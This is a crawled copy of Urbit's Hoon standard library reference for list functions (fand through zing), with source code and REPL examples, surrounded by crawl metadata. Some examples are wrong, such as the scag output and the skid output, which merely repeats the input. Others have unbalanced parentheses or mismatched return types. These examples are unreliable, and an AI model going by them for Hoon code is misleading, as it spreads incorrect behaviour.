"eai_open_web_math": 0.3070606589317322,
"eai_web_code": 0.06044996157288551
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02856",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "629.8312",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Engineering",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
261,989,784,336,966,300 |
2b: List Logic
++fand
All indices in list
Produces the indices of all occurrences of nedl in hstk as a list of atoms.
Accepts
nedl is a list.
hstk is a list.
Produces
A list.
Source
++ fand
~/ %fand
|= [nedl=(list) hstk=(list)]
=| i=@ud
=| fnd=(list @ud)
|- ^+ fnd
=+ [n=nedl h=hstk]
|-
?: |(?=($~ n) ?=($~ h))
(flop fnd)
?: =(i.n i.h)
?~ t.n
^$(i +(i), hstk +.hstk, fnd [i fnd])
$(n t.n, h t.h)
^$(i +(i), hstk +.hstk)
Examples
> (fand ~[3] ~[1 2 3])
~[2]
> (fand ~[4] ~[1 2 3])
~
> (fand ~['a'] "cbabab")
~[2 4]
> (fand "ba" "cbabab")
~[1 3]
++find
First index in list
Produces the index of the first occurrence of nedl in hstk as the unit of an atom.
Accepts
nedl is a list.
hstk is a list.
Produces
The unit of an atom.
Source
++ find
~/ %find
|= [nedl=(list) hstk=(list)]
=| i=@ud
|- ^- (unit @ud)
=+ [n=nedl h=hstk]
|-
?: |(?=($~ n) ?=($~ h))
~
?: =(i.n i.h)
?~ t.n
`i
$(n t.n, h t.h)
^$(i +(i), hstk +.hstk)
Examples
> (find [3]~ ~[1 2 3])
[~ u=2]
> (find [4]~ ~[1 2 3])
~
> (find ['c']~ "cbabab")
[~ u=0]
> (find "ab" "cbabab")
[~ u=1]
> (find "bab" "cbabab")
[~ u=2]
++flop
Reverse
Produces the list a in reverse order.
Accepts
a is a list.
Produces
A list.
Source
++ flop
~/ %flop
|* a=(list)
=> .(a (homo a))
^+ a
=+ b=`_a`~
|-
?~ a b
$(a t.a, b [i.a b])
Examples
> =a [1 2 3 ~]
> (flop a)
~[3 2 1]
> (flop (flop a))
~[1 2 3]
++gulf
List from range
Produces a list composed of each consecutive integer starting from a and ending with b. a and b are themselves included.
Accepts
a is an atom.
b is an atom.
Produces
a list.
Source
++ gulf
|= [a=@ b=@]
^- (list @)
?:(=(a +(b)) ~ [a $(a +(a))])
Examples
> (gulf 1 6)
~[1 2 3 4 5 6]
> `(list @t)`(gulf 99 106)
<|c d e f g h i j|>
++homo
Homogenize
Produces a list whose type is a fork of all the contained types in the list a. Used when you want to make all the types of the elements of a list the same.
Accepts
a is a list.
Produces
a list.
Source
++ homo
|* a=(list)
^+ =< $
|% +- $ ?:(*? ~ [i=(snag 0 a) t=$])
--
a
Examples
> lyst
[i=1 t=[i=97 t=[i=2 t=[i=98 t=[i=[~ u=10] t=~]]]]]
> (homo lyst)
~[1 97 2 98 [~ u=10]]
> =a (limo [1 2 3 ~])
> a
[i=1 t=[i=2 t=[i=3 t=~]]]
> (homo a)
~[1 2 3]
++lent
List length
Produces the length of any list a as an atom.
Accepts
a is a list.
Produces
an atom.
Source
++ lent
~/ %lent
|= a=(list)
^- @
=+ b=0
|-
?~ a b
$(a t.a, b +(b))
Examples
> (lent [1 2 3 4 ~]))
4
> (lent [1 'a' 2 'b' (some 10) ~])
5
++levy
Logical "and" on list
Computes the Boolean logical "and" on the results of gate b applied to each individual element in list a.
Accepts
a is a list.
b is a gate.
Produces
A boolean.
Source
++ levy
~/ %levy :: all of
|* [a=(list) b=$-(* ?)]
|- ^- ?
?~ a &
?. (b i.a) |
$(a t.a)
Examples
> =a |=(a=@ (lte a 1))
> (levy `(list @)`[0 1 2 1 ~] a)
%.n
> =a |=(a=@ (lte a 3))
> (levy `(list @)`[0 1 2 1 ~] a)
%.y
++lien
Logical "or" on list
Computes the Boolean logical "or" on the results of applying gate b to every element of ++list a.
Accepts
a is a list.
b is a gate.
Source
++ lien
~/ %lien
|* [a=(list) b=$-(* ?)]
|- ^- ?
?~ a |
?: (b i.a) &
$(a t.a)
Examples
> =a |=(a=@ (gte a 1))
> (lien `(list @)`[0 1 2 1 ~] a)
%.y
> =a |=(a=@ (gte a 3))
> (lien `(list @)`[0 1 2 1 ~]) a)
%.n
++limo
List Constructor
Turns a null-terminated tuple into a list.
Accepts
a is a null-terminated tuple.
Produces
A ++list.
Source
++ limo :: listify
|* a=*
^+ =< $
|% +- $ ?~(a ~ ?:(_? i=-.a t=$ $(a +.a)))
--
a
Examples
> (limo [1 2 3 ~])
[i=1 t=[i=2 t=[i=3 t=~]]]
++murn
Maybe transform
Passes each member of list a to gate b, which must produce a unit. Produces a new list with all the results that do not produce ~.
Accepts
a is a list.
b is a gate that produces a unit.
Produces
A unit.
Source
++ murn :: maybe transform
~/ %murn
|* [a=(list) b=$-(* (unit))]
|-
?~ a ~
=+ c=(b i.a)
?~ c
$(a t.a)
[i=u.c t=$(a t.a)]
Examples
> =a |=(a=@ ?.((gte a 2) ~ (some (add a 10))))
> (murn `(list @)`[0 1 2 3 ~] a)
[i=12 t=[i=13 t=~]]
++oust
Remove
Removes elements from list c beginning at inclusive index a, removing b number of elements.
Accepts
c is a list.
Produces
A ++list.
Source
++ oust :: remove
~/ %oust
|* [[a=@ b=@] c=(list)]
(weld (scag a c) (slag (add a b) c))
Examples
> (oust [4 5] "good day, urbit!")
"good urbit!"
> (oust [2 2] `(list @)`[1 2 3 4 ~])
~[1 2]
++reap
Replicate
Replicate: produces a list containing a copies of b.
Accepts
a is an atom.
b is a noun.
Produces
A list.
Source
++ reap :: replicate
~/ %reap
|* [a=@ b=*]
|- ^- (list _b)
?~ a ~
[b $(a (dec a))]
Examples
> (reap 20 %a)
~[%a %a %a %a %a %a %a %a %a %a %a %a %a %a %a %a %a %a %a %a]
> (reap 5 ~s1)
~[~s1 ~s1 ~s1 ~s1 ~s1]
> `@dr`(roll (reap 5 ~s1) add)
~s5
++reel
Right fold
Right fold: moves right to left across a list a, recursively slamming a binary gate b with an element from a and an accumulator, producing the final value of the accumulator.
(To "slam" means to call a gate and give it a sample/samples. In this instance, a is the list of samples that are given to the gate b.)
Accepts
a is a list.
b is a binary gate.
Produces
The accumulator, which is a noun.
Source
++ reel
~/ %reel
|* [a=(list) b=_|=([* *] +<+)]
|- ^+ +<+.b
?~ a
+<+.b
(b i.a $(a t.a))
Examples
> =sum =|([p=@ q=@] |.((add p q)))
> (reel (limo [1 2 3 4 5 ~]) sum)
15
> =a =|([p=@ q=@] |.((sub p q)))
> (reel (limo [6 3 1 ~]) a)
4
> (reel (limo [3 6 1 ~]) a)
! subtract-underflow
! exit
++roll
Left fold
Left fold: moves left to right across a list a, recursively slamming a binary gate b with an element from the list and an accumulator, producing the final value of the accumulator.
(To "slam" means to call a gate and give it a sample/samples. In this instance, a is the list of samples that are given to the gate b.)
Accepts
a is a list.
b is a binary gate.
Produces
The accumulator, which is a noun.
Source
++ roll :: left fold
~/ %roll
|* [a=(list) b=_|=([* *] +<+)]
|- ^+ +<+.b
?~ a
+<+.b
$(a t.a, b b(+<+ (b i.a +<+.b)))
Examples
> =sum =|([p=@ q=@] |.((add p q)))
> (roll (limo [1 2 3 4 5 ~]) sum)
q=15
> =a =|([p=@ q=@] |.((sub p q)))
> (roll (limo [6 3 1 ~]) a)
! subtract-underflow
! exit
> (roll (limo [1 3 6 ~]) a)
q=4
++scag
Prefix
Accepts an atom a and list b, producing the first a elements of the front of the list.
Accepts
a is an atom.
b is a list.
Produces
A list of the same type as b.
Source
++ scag :: prefix
~/ %scag
|* [a=@ b=(list)]
|- ^+ b
?: |(?=(~ b) =(0 a)) ~
[i.b $(b t.b, a (dec a))]
Examples
> (scag 2 `(list @)`[1 2 3 4 ~])
[i=0 t=~[1]]
> (scag 10 `(list @)`[1 2 3 4 ~])
[i=1 t=~[2 3 4]]
++skid
Separate
Separates a list a into two lists - Those elements of a who produce true when slammed to gate b and those who produce %.n.
(To "slam" means to call a gate and give it a sample/samples. In this instance, a is the list of samples that are given to the gate b.)
Accepts
a is a list.
b is a gate that accepts one argument and produces a flag.
Produces
A cell of two lists.
Source
++ skid :: separate
~/ %skid
|* [a=(list) b=$-(* ?)]
|- ^+ [p=a q=a]
?~ a [~ ~]
=+ c=$(a t.a)
?:((b i.a) [[i.a p.c] q.c] [p.c [i.a q.c]])
Examples
> =a |=(a=@ (gth a 1))
> (skid `(list @)`[0 1 2 3 ~]) a)
(skid `(list @)`[0 1 2 3 ~]) a)
++skim
Suffix
Cycles through the members of a list a, passing them to a gate b and producing a list of all of the members that produce %.y. Inverse of skip.
Accepts
a is a list.
b is a gate that accepts one argument and produces a boolean.
Produces
A flag.
Source
++ skim :: only
~/ %skim
|* [a=(list) b=$-(* ?)]
|-
^+ a
?~ a ~
?:((b i.a) [i.a $(a t.a)] $(a t.a))
Examples
> =a |=(a=@ (gth a 1))
> (skim `(list @)`[0 1 2 3 ~] a)
[i=2 t=~[3]]
++skip
Except
Cycles through the members of list a, passing them to a gate b. Produces a list of all of the members that produce %.n. Inverse of skim.
Accepts
a is a list.
b is a gate that accepts one argument and produces a flag.
Produces
A list of the same type as a.
Source
++ skip :: except
~/ %skip
|* [a=(list) b=$-(* ?)]
|-
^+ a
?~ a ~
?:((b i.a) $(a t.a) [i.a $(a t.a)])
Examples
> =a |=(a=@ (gth a 1))
> (skip `(l)`[0 1 2 3 ~]) a)
[i=0 t=[i=1 t=~]]
++slag
Suffix
Accepts an atom a and list b, producing the remaining elements from b starting at a.
Accepts
b is a list.
Produces
A list of the same type as b.
Source
++ slag :: suffix
~/ %slag
|* [a=@ b=(list)]
|- ^+ b
?: =(0 a) b
?~ b ~
$(b t.b, a (dec a))
Examples
> (slag 2 (limo [1 2 3 4 ~]))
[i=3 t=[i=4 t=~]]
> (slag 1 (limo [1 2 3 4 ~]))
[i=2 t=[i=3 t=[i=4 t=~]]]
++snag
Index
Accepts an atom a and a ++list b, producing the element at the index of aand failing if the list is null. Lists are 0-indexed.
Accepts
b is a list.
Produces
Produces an element of b, or crashes if no element exists at that index.
Source
++ snag :: index
~/ %snag
|* [a=@ b=(list)]
|-
?~ b
~|('snag-fail' !!)
?: =(0 a) i.b
$(b t.b, a (dec a))
Examples
> (snag 2 "asdf")
~~d
> (snag 0 `(list @ud)`~[1 2 3 4])
1
++sort
Quicksort
Quicksort: accepts a ++list a and a gate b which accepts two nouns and produces a flag. ++sort then produces a list of the elements of a, sorted according to b.
Accepts
b is a gate that accepts two nouns and produces a boolean.
Produces
A list
Source
++ sort !. :: quicksort
~/ %sort
|* [a=(list) b=$-([* *] ?)]
=> .(a ^.(homo a))
|- ^+ a
?~ a ~
%+ weld
$(a (skim t.a |=(c/_i.a (b c i.a))))
^+ t.a
[i.a $(a (skim t.a |=(c/_i.a !(b c i.a))))]
Examples
> =a =|([p/@ q/@] |.((gth p q)))
> (sort (limo [0 1 2 3 ~]) a)
~[3 2 1 0]
++spin
Gate to list, with state
Accepts a ++list a, a gate b, and some state c. Produces a list with the gate applied to each element of the original list. b is called with a tuple -- the head is an element of a and the tail is the state c, and should produce a tuple of the transformed element and the (potentially modified) state c.
Accepts
a is a ++list.
b is a gate.
c is a noun.
Produces
A list.
Source
++ spin
~/ %spin
|* [a=(list) b=* c=_|=(^ [** +<+])]
=> .(c `$-([_?>(?=(^ a) i.a) _b] [_-:(c) _b])`c)
=/ acc=(list _-:(c)) ~
|- ^- (pair _acc _b)
?~ a
[(flop acc) b]
=^ res b (c i.a b)
$(acc [res acc], a t.a)
Examples
> %^ spin (limo ~[4 5 6]) :: trivial example -- does nothing with the state
|=([n=@ a=@] [n a])
0
~[4 5 6]
> %^ spin (limo ~[4 5 6]) :: `p` as the index and `q` as the list element
|=([n=@ a=@] [`(pair)`[a n] +(a)])
0
~[[p=0 q=4] [p=1 q=5] [p=2 q=6]]
> %^ spin (reap 10 0) :: Create 10 random numbers less than `10`
|=([n=@ rng=_og] (rads:rng 10))
~(. og eny)
~[5 5 9 4 1 7 9 9 9 6]
Discussion
(~(rads og eny) 2) creates a random number less than 2, seeding the RNG with entropy (eny). The head of the product is the random number, the tail is the continuation of the RNG.
++spun
Gate to list, with state
Accepts a list a and a gate b. c is internal state, initially derived by bunting the tail of the sample of gate b, instead of being passed in explicitly as in ++spin. Produces a list with the gate applied to each element of the original list. b is called with a tuple -- the head is an element of a and the tail is the state c, and should produce a tuple of the transformed element and the (potentially modified) state c.
Accepts
a is a ++list.
b is a gate.
Produces
A list.
Source
++ spun
~/ %spun
|* [a=(list) b=_|=(^ [** +<+])]
p:(spin a +<+.b b)
Examples
> %+ spun (limo ~[4 5 6]) :: `p` as the index and `q` as the list element
|=([n=@ a=@] [`(pair)`[a n] +(a)])
~[[p=0 q=4] [p=1 q=5] [p=2 q=6]]
> =l (limo ~[7 8 9])
> %+ spun (limo ~[4 5 6]) :: joins two lists into a list of pairs
|=([n=@ a=@] [`(pair)`[(snag a l) n] +(a)])
~[[p=7 q=4] [p=8 q=5] [p=9 q=6]]
++swag
Infix
Similar to substr in Javascript: extracts a string infix, beginning at inclusive index a, producing b number of characters.
Accepts
c is a list.
Produces
A list of the same type as c.
Source
++ swag
|* [[a=@ a=@] c=(list)]
(scag +<-> (slag +<-< c))
Examples
> (swag [2 5] "roly poly")
"ly po"
> (swag [2 2] (limo [1 2 3 4 ~]))
[i=3 t=[i=4 t=~]]
++turn
Gate to list
Accepts a ++list a and a gate b. Produces a list with the gate applied to each element of the original list.
Accepts
b is a gate.
Produces
A list.
Source
++ turn
~/ %turn
|* [a=(list) b=gate]
|-
?~ a ~
[i=(b i.a) t=$(a t.a)]
Examples
> (turn (limo [104 111 111 110 ~]) @t)
<|h o o n|>
> =a |=(a=@ (add a 4))
> (turn (limo [1 2 3 4 ~]) a)
~[5 6 7 8]
Discussion
turn is Hoon's version of 'map' in Haskell.
++weld
Concatenate
Concatenate two ++lists a and b.
Accepts
a and b are lists.
Source
++ weld
~/ %weld
|* [a=(list) b=(list)]
=> .(a ^.(homo a), b ^.(homo b))
|- ^+ b
?~ a b
[i.a $(a t.a)]
Examples
> (weld "urb" "it")
~[~~u ~~r ~~b ~~i ~~t]
> (weld (limo [1 2 ~]) (limo [3 4 ~]))
~[1 2 3 4]
++welp
Perfect weld
Concatenate two ++lists a and b without losing their type information to homogenization.
Accepts
a is a list.
b is a list.
Produces
A list.
Source
++ welp
=| [* *]
|%
+- $
?~ +<-
+<-(. +<+)
+<-(+ $(+<- +<->))
--
Examples
> (welp "foo" "bar")
"foobar"
> (welp ~[60 61 62] ~[%a %b %c])
[60 61 62 %a %b %c ~]
> ? (welp ~[60 61 62] ~[%a %b %c])
{@ud @ud @ud $a $b $c $~}
[60 61 62 %a %b %c ~]
> (welp [sa+1 so+2 ~] si=3)
[[%sa 1] [%so 2] si=3]
++zing
Cons
Turns a ++list of lists into a single list by promoting the elements of each sublist into the higher.
Accepts
A list of lists.
Produces
A list.
Source
++ zing
=| *
|%
+- $
?~ +<
+<
(welp +<- $(+< +<+))
--
Examples
> (zing (limo [(limo ['a' 'b' 'c' ~]) (limo ['e' 'f' 'g' ~]) (limo ['h' 'i' 'j' ~]) ~]))
~['a' 'b' 'c' 'e' 'f' 'g' 'h' 'i' 'j']
> (zing (limo [(limo [1 'a' 2 'b' ~]) (limo [3 'c' 4 'd' ~]) ~]))
~[1 97 2 98 3 99 4 100]
|
{
"url": "https://urbit.org/docs/reference/library/2b/",
"source_domain": "urbit.org",
"snapshot_id": "crawl=CC-MAIN-2019-22",
"warc_metadata": {
"Content-Length": "104183",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MUTNMETP54A4KNSCVVG7K6EA64IPDJFW",
"WARC-Concurrent-To": "<urn:uuid:e6df30a5-73ad-49b8-9499-34a5bc2b0caf>",
"WARC-Date": "2019-05-20T08:41:12Z",
"WARC-IP-Address": "142.93.122.177",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RCQUSEOZ5GB444ZKM6DXNLA2VYA4ISCL",
"WARC-Record-ID": "<urn:uuid:0761a145-a748-4045-900d-75f6b53e5a5b>",
"WARC-Target-URI": "https://urbit.org/docs/reference/library/2b/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ba3863a8-a357-470b-b632-c592354624a5>"
},
"warc_info": "isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-142-79-158.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
15,
16,
23,
24,
44,
45,
121,
122,
130,
131,
147,
148,
164,
165,
174,
175,
183,
184,
191,
192,
205,
221,
257,
273,
298,
316,
342,
351,
382,
401,
422,
438,
485,
509,
539,
540,
549,
550,
577,
586,
587,
614,
620,
621,
650,
661,
662,
689,
700,
701,
708,
709,
729,
730,
813,
814,
822,
823,
839,
840,
856,
857,
866,
867,
888,
889,
896,
897,
910,
926,
962,
978,
1004,
1030,
1039,
1070,
1081,
1102,
1118,
1131,
1155,
1185,
1186,
1195,
1196,
1223,
1235,
1236,
1263,
1269,
1270,
1299,
1311,
1312,
1339,
1351,
1352,
1380,
1392,
1393,
1400,
1401,
1409,
1410,
1448,
1449,
1457,
1458,
1471,
1472,
1481,
1482,
1490,
1491,
1498,
1499,
1512,
1528,
1547,
1571,
1583,
1601,
1610,
1625,
1651,
1652,
1661,
1662,
1681,
1696,
1709,
1710,
1732,
1745,
1746,
1753,
1754,
1770,
1771,
1892,
1893,
1901,
1902,
1916,
1917,
1931,
1932,
1941,
1942,
1950,
1951,
1958,
1959,
1972,
1992,
2011,
2047,
2048,
2057,
2058,
2075,
2094,
2095,
2126,
2150,
2151,
2158,
2159,
2170,
2171,
2327,
2328,
2336,
2337,
2350,
2351,
2360,
2361,
2369,
2370,
2377,
2378,
2391,
2410,
2426,
2473,
2484,
2492,
2493,
2502,
2503,
2514,
2569,
2570,
2588,
2614,
2615,
2641,
2649,
2679,
2680,
2695,
2708,
2709,
2716,
2717,
2729,
2730,
2776,
2777,
2785,
2786,
2799,
2800,
2809,
2810,
2819,
2820,
2827,
2828,
2841,
2857,
2876,
2888,
2902,
2911,
2926,
2949,
2950,
2959,
2960,
2986,
2992,
2993,
3032,
3038,
3039,
3046,
3047,
3069,
3070,
3176,
3177,
3185,
3186,
3199,
3200,
3213,
3214,
3223,
3224,
3235,
3236,
3243,
3244,
3257,
3328,
3359,
3375,
3390,
3411,
3426,
3427,
3436,
3437,
3464,
3501,
3509,
3510,
3537,
3574,
3582,
3583,
3590,
3591,
3612,
3613,
3711,
3712,
3720,
3721,
3734,
3735,
3748,
3749,
3756,
3757,
3770,
3786,
3817,
3833,
3848,
3869,
3884,
3885,
3894,
3895,
3922,
3959,
3967,
3968,
3995,
4033,
4041,
4042,
4049,
4050,
4067,
4068,
4111,
4112,
4120,
4121,
4151,
4152,
4161,
4162,
4172,
4173,
4180,
4181,
4253,
4267,
4283,
4336,
4347,
4355,
4356,
4365,
4366,
4389,
4419,
4420,
4427,
4428,
4444,
4445,
4576,
4577,
4585,
4586,
4599,
4600,
4634,
4635,
4644,
4645,
4653,
4654,
4661,
4662,
4742,
4758,
4794,
4803,
4818,
4838,
4850,
4867,
4892,
4893,
4902,
4903,
4954,
4991,
5015,
5016,
5023,
5024,
5031,
5032,
5124,
5125,
5133,
5134,
5147,
5148,
5157,
5158,
5168,
5169,
5176,
5177,
5248,
5264,
5295,
5338,
5339,
5348,
5349,
5387,
5405,
5406,
5447,
5458,
5459,
5466,
5467,
5477,
5478,
5531,
5532,
5540,
5541,
5555,
5556,
5569,
5570,
5579,
5580,
5588,
5589,
5596,
5597,
5671,
5687,
5707,
5731,
5746,
5769,
5770,
5779,
5780,
5799,
5866,
5867,
5886,
5913,
5914,
5949,
5957,
5958,
5965,
5966,
5977,
5978,
6153,
6154,
6290,
6291,
6299,
6300,
6313,
6314,
6334,
6335,
6344,
6345,
6379,
6380,
6387,
6388,
6401,
6417,
6455,
6475,
6487,
6501,
6524,
6525,
6534,
6535,
6574,
6612,
6619,
6620,
6657,
6689,
6695,
6696,
6728,
6753,
6764,
6765,
6772,
6773,
6783,
6784,
6965,
6966,
7102,
7103,
7111,
7112,
7125,
7126,
7146,
7147,
7156,
7157,
7191,
7192,
7199,
7200,
7274,
7290,
7328,
7348,
7360,
7374,
7413,
7414,
7423,
7424,
7463,
7501,
7510,
7511,
7548,
7580,
7605,
7616,
7617,
7649,
7657,
7658,
7665,
7666,
7673,
7674,
7761,
7762,
7770,
7771,
7785,
7786,
7799,
7800,
7809,
7810,
7840,
7841,
7848,
7849,
7920,
7936,
7961,
7977,
8008,
8040,
8041,
8050,
8051,
8088,
8105,
8106,
8144,
8165,
8166,
8173,
8174,
8183,
8184,
8307,
8308,
8444,
8445,
8453,
8454,
8467,
8468,
8527,
8528,
8537,
8538,
8559,
8560,
8567,
8568,
8641,
8657,
8688,
8712,
8731,
8752,
8802,
8803,
8812,
8813,
8840,
8878,
8914,
8915,
8922,
8923,
8930,
8931,
9074,
9075,
9083,
9084,
9097,
9098,
9160,
9161,
9170,
9171,
9179,
9180,
9187,
9188,
9257,
9273,
9304,
9313,
9325,
9340,
9382,
9383,
9392,
9393,
9420,
9457,
9474,
9475,
9482,
9483,
9490,
9491,
9628,
9629,
9637,
9638,
9651,
9652,
9711,
9712,
9721,
9722,
9752,
9753,
9760,
9761,
9832,
9848,
9879,
9888,
9900,
9915,
9957,
9958,
9967,
9968,
9995,
10028,
10050,
10051,
10058,
10059,
10066,
10067,
10152,
10153,
10161,
10162,
10175,
10176,
10185,
10186,
10216,
10217,
10224,
10225,
10296,
10312,
10337,
10353,
10373,
10388,
10414,
10415,
10424,
10425,
10459,
10481,
10515,
10545,
10546,
10553,
10554,
10560,
10561,
10688,
10689,
10697,
10698,
10711,
10712,
10721,
10722,
10795,
10796,
10803,
10804,
10874,
10890,
10915,
10924,
10936,
10963,
10985,
11011,
11012,
11021,
11022,
11044,
11052,
11090,
11096,
11097,
11104,
11105,
11115,
11116,
11277,
11278,
11286,
11287,
11346,
11347,
11356,
11357,
11364,
11365,
11372,
11373,
11447,
11463,
11498,
11524,
11540,
11555,
11570,
11615,
11629,
11679,
11680,
11689,
11690,
11731,
11769,
11788,
11789,
11796,
11797,
11822,
11823,
12126,
12127,
12135,
12136,
12151,
12152,
12165,
12166,
12179,
12180,
12189,
12190,
12198,
12199,
12206,
12207,
12220,
12235,
12277,
12332,
12361,
12388,
12400,
12423,
12448,
12478,
12479,
12488,
12489,
12580,
12608,
12616,
12629,
12630,
12719,
12762,
12770,
12807,
12808,
12891,
12929,
12947,
12974,
12975,
12986,
12987,
13166,
13167,
13168,
13175,
13176,
13201,
13202,
13624,
13625,
13633,
13634,
13649,
13650,
13663,
13664,
13673,
13674,
13682,
13683,
13690,
13691,
13704,
13719,
13757,
13782,
13783,
13792,
13793,
13885,
13926,
13963,
13964,
13989,
14073,
14123,
14160,
14161,
14168,
14169,
14175,
14176,
14300,
14301,
14309,
14310,
14323,
14324,
14333,
14334,
14364,
14365,
14372,
14373,
14386,
14417,
14449,
14450,
14459,
14460,
14491,
14503,
14504,
14542,
14564,
14565,
14572,
14573,
14586,
14587,
14696,
14697,
14705,
14706,
14719,
14720,
14729,
14730,
14738,
14739,
14746,
14747,
14760,
14776,
14804,
14813,
14828,
14857,
14858,
14867,
14868,
14911,
14927,
14928,
14955,
14989,
15004,
15005,
15016,
15017,
15061,
15062,
15063,
15070,
15071,
15083,
15084,
15117,
15118,
15126,
15127,
15146,
15147,
15154,
15155,
15168,
15184,
15214,
15254,
15270,
15285,
15306,
15307,
15316,
15317,
15341,
15368,
15369,
15412,
15427,
15428,
15435,
15436,
15449,
15450,
15539,
15540,
15548,
15549,
15562,
15563,
15576,
15577,
15586,
15587,
15595,
15596,
15603,
15604,
15617,
15633,
15642,
15654,
15670,
15691,
15718,
15727,
15728,
15737,
15738,
15763,
15776,
15777,
15814,
15840,
15841,
15880,
15912,
15938,
15939,
15971,
15998,
15999,
16006,
16007,
16012,
16013,
16115,
16116,
16124,
16125,
16142,
16143,
16152,
16153,
16161,
16162,
16169,
16170,
16183,
16195,
16204,
16216,
16231,
16244,
16273,
16282,
16283,
16292,
16293,
16386,
16429,
16430,
16500
],
"line_end_idx": [
15,
16,
23,
24,
44,
45,
121,
122,
130,
131,
147,
148,
164,
165,
174,
175,
183,
184,
191,
192,
205,
221,
257,
273,
298,
316,
342,
351,
382,
401,
422,
438,
485,
509,
539,
540,
549,
550,
577,
586,
587,
614,
620,
621,
650,
661,
662,
689,
700,
701,
708,
709,
729,
730,
813,
814,
822,
823,
839,
840,
856,
857,
866,
867,
888,
889,
896,
897,
910,
926,
962,
978,
1004,
1030,
1039,
1070,
1081,
1102,
1118,
1131,
1155,
1185,
1186,
1195,
1196,
1223,
1235,
1236,
1263,
1269,
1270,
1299,
1311,
1312,
1339,
1351,
1352,
1380,
1392,
1393,
1400,
1401,
1409,
1410,
1448,
1449,
1457,
1458,
1471,
1472,
1481,
1482,
1490,
1491,
1498,
1499,
1512,
1528,
1547,
1571,
1583,
1601,
1610,
1625,
1651,
1652,
1661,
1662,
1681,
1696,
1709,
1710,
1732,
1745,
1746,
1753,
1754,
1770,
1771,
1892,
1893,
1901,
1902,
1916,
1917,
1931,
1932,
1941,
1942,
1950,
1951,
1958,
1959,
1972,
1992,
2011,
2047,
2048,
2057,
2058,
2075,
2094,
2095,
2126,
2150,
2151,
2158,
2159,
2170,
2171,
2327,
2328,
2336,
2337,
2350,
2351,
2360,
2361,
2369,
2370,
2377,
2378,
2391,
2410,
2426,
2473,
2484,
2492,
2493,
2502,
2503,
2514,
2569,
2570,
2588,
2614,
2615,
2641,
2649,
2679,
2680,
2695,
2708,
2709,
2716,
2717,
2729,
2730,
2776,
2777,
2785,
2786,
2799,
2800,
2809,
2810,
2819,
2820,
2827,
2828,
2841,
2857,
2876,
2888,
2902,
2911,
2926,
2949,
2950,
2959,
2960,
2986,
2992,
2993,
3032,
3038,
3039,
3046,
3047,
3069,
3070,
3176,
3177,
3185,
3186,
3199,
3200,
3213,
3214,
3223,
3224,
3235,
3236,
3243,
3244,
3257,
3328,
3359,
3375,
3390,
3411,
3426,
3427,
3436,
3437,
3464,
3501,
3509,
3510,
3537,
3574,
3582,
3583,
3590,
3591,
3612,
3613,
3711,
3712,
3720,
3721,
3734,
3735,
3748,
3749,
3756,
3757,
3770,
3786,
3817,
3833,
3848,
3869,
3884,
3885,
3894,
3895,
3922,
3959,
3967,
3968,
3995,
4033,
4041,
4042,
4049,
4050,
4067,
4068,
4111,
4112,
4120,
4121,
4151,
4152,
4161,
4162,
4172,
4173,
4180,
4181,
4253,
4267,
4283,
4336,
4347,
4355,
4356,
4365,
4366,
4389,
4419,
4420,
4427,
4428,
4444,
4445,
4576,
4577,
4585,
4586,
4599,
4600,
4634,
4635,
4644,
4645,
4653,
4654,
4661,
4662,
4742,
4758,
4794,
4803,
4818,
4838,
4850,
4867,
4892,
4893,
4902,
4903,
4954,
4991,
5015,
5016,
5023,
5024,
5031,
5032,
5124,
5125,
5133,
5134,
5147,
5148,
5157,
5158,
5168,
5169,
5176,
5177,
5248,
5264,
5295,
5338,
5339,
5348,
5349,
5387,
5405,
5406,
5447,
5458,
5459,
5466,
5467,
5477,
5478,
5531,
5532,
5540,
5541,
5555,
5556,
5569,
5570,
5579,
5580,
5588,
5589,
5596,
5597,
5671,
5687,
5707,
5731,
5746,
5769,
5770,
5779,
5780,
5799,
5866,
5867,
5886,
5913,
5914,
5949,
5957,
5958,
5965,
5966,
5977,
5978,
6153,
6154,
6290,
6291,
6299,
6300,
6313,
6314,
6334,
6335,
6344,
6345,
6379,
6380,
6387,
6388,
6401,
6417,
6455,
6475,
6487,
6501,
6524,
6525,
6534,
6535,
6574,
6612,
6619,
6620,
6657,
6689,
6695,
6696,
6728,
6753,
6764,
6765,
6772,
6773,
6783,
6784,
6965,
6966,
7102,
7103,
7111,
7112,
7125,
7126,
7146,
7147,
